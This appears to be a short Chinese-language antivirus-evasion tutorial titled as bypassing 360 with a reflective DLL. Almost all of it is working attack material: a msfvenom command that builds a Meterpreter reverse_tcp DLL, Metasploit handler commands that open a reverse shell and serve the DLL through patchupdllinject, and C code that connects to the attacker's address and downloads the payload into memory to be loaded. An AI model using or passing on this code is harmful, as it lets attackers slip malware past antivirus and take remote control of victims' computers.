【免杀】反射DLL过360

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.109.135 LPORT=10010 -f dll -o yy.dll#生成dll文件

msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.109.135msf6 exploit(multi/handler) > set lport 10010msf6 exploit(multi/handler) > exploit -j#在 meterpreter/reverse_tcp 的 payload 中, 我们要把会连的ip和port设置成msfvenom生成dll指定的地址和端口，这样dll在执行的时候才能回连msf6 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcpmsf6 exploit(multi/handler) > set Dll ~/Desktop/yy.dllmsf6 exploit(multi/handler) > set LPORT 10086msf6 exploit(multi/handler) > exploit -j#这段是让客户端获取dll所设置

BOOL GetPEDLL() {    DWORD dwError;    WORD sockVersion = MAKEWORD(2, 2);    WSADATA wsaData;    SOCKET socks;    SHORT sListenPort = 10086;    struct sockaddr_in sin;    if (WSAStartup(sockVersion, &wsaData) != 0)    {        dwError = GetLastError();        printf("[*]WSAStarup Error : %d n", dwError);        return FALSE;    }    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    if (socks == INVALID_SOCKET)    {        dwError = GetLastError();        printf("[*]Socket Error : %d n", dwError);        return FALSE;    }    sin.sin_family = AF_INET;    sin.sin_port = htons(sListenPort);    sin.sin_addr.S_un.S_addr = inet_addr("192.168.109.135");    if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)    {        dwError = GetLastError();        printf("[*]Bind Error : %d n", dwError);        return FALSE;    }    int ret = 0;    ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);    ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);//中断    ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);    ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);    ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);    ZeroMemory(bFileBuffer, PAYLOAD_SIZE);    ret = recv(socks, (PCHAR)bFileBuffer, PAYLOAD_SIZE, NULL);    if (ret > 0)    {        closesocket(socks);    }    return TRUE;}